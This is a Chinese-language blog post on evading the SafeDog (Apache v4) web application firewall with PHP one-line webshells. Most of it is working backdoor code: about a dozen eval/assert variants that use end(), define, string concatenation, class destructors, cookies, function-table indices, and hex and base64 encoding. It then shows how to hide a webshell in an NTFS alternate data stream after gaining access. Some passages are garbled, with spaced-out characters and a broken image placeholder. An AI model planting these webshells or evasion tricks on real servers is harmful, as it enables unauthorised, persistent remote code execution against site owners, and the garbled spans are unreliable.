WAF绕过"/>
WAF绕过
WAF绕过之小马免杀
WAF:安全狗-Apache版 v4
正常的PHP一句话木马:
<?php eval($_REQUEST[6]);?>
对于这个正常的一句话木马,安全狗会拦截。
关于拦截其实最主要的还是测试,看看Waf究竟怎么拦截。[最直接的检测应该是正则匹配]
我们尝试只写<?php eval();?> 发现没有拦截,但是加了 R E Q U E S T [ 6 ] 就 拦 截 了 那 么 我 们 是 不 是 可 以 尝 试 测 试 看 看 究 竟 拦 截 _REQUEST[6]就拦截了 那么我们是不是可以尝试测试看看究竟拦截 REQUEST[6]就拦截了那么我们是不是可以尝试测试看看究竟拦截_REQUEST[6]的那个部分。
然后测试发现,他拦截的是$_REQUEST[
。
那么我们只要不出现中括号就可以解决对吗?或者我们尝试把这个变量换一个就可以解决。
end()函数
end() 将数组的内部指针移动到最后一个单元并返回其值
绕过
<?php eval(end($_REQUEST))?>
常量定义 define
define:定义一个常量:difine(常量名,常量值)
绕过
<?php define("a",$_REQUEST[6]);eval(a);?>
字符串拼接+$$
绕过
<?php
$a = 'ass';
$b = 'ert';
$func = $a.$b;
$x = 'func';
$$x($_REQUEST[6]);
?>
函数分离
绕过
<?php
function func($a){
return $a;}
eval(func($_REQUEST[6]));
?>
定义类
绕过
<?php
class Test{public $a = '';function __destruct(){eval("$this->a");}
}
$t = new Test;
$t->a = ''.$_REQUEST[6];
?>
多方式传参
绕过
<?php
$cookie = $_COOKIE;
foreach($cookie as $key->$value){if($key=='assert'){$key($_REQUEST[6]);}
}
?>
已定义数组
get_defined_functions():返回数组,包含了所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过 a r r [ " i n t e r n a l " ] 来 访 问 系 统 内 置 函 数 , 通 过 arr["internal"]来访问系统内置函数, 通过 arr["internal"]来访问系统内置函数,通过arr[“user”]来访问用户自定义函数.。
5.6.27:[850]=> string(6) “assert”
5.4.45:[841]=> string(6) “assert”
7.0.12:[763]=> string(6) “assert”
绕过
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST[6]);?>
关键函数编码
对关键函数的字符串进行变换
绕过
<?php array_map("ass\x65rt",array($_REQUEST[6]));?>
\x65对应的字母是e
\x后面跟的是字符ASCII码的十六进制,e的ASCII码16进制为65
base64编码函数
assert的base64编码是:YXNzZXJ0
绕过
<?php
$func = base64_decode("YXNzZXJ0");
$func($_REQUEST[6]);
?>
多次base64编码:
<?php eval(base64_decode(U2tZNVUxSldSbFpTVms1VlYzcGFaQT09));?>
外联数据库绕过
绕过
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['info']); ?>
windows 隐藏shell:nfs文件流(拿到shell后)
cmd:
echo helloworld >> /:test.txt
test.txt文件不会显示在文件夹中。
但是可以使用1.php去包含test.txt
<?php
include("/:test.txt")
?>
隐藏:
echo "<?php eval($_REQUEST[6])?>" >> /:123.txt
1.php:
<?php include("/:123.txt")
?>
(img-Qsc4GGZC-1621259989767)]
隐藏:
echo "<?php eval($_REQUEST[6])?>" >> /:123.txt
[外链图片转存中…(img-fJlQhLoH-1621259989768)]
1.php:
<?php include("/:123.txt")
?>
更多推荐
WAF绕过
发布评论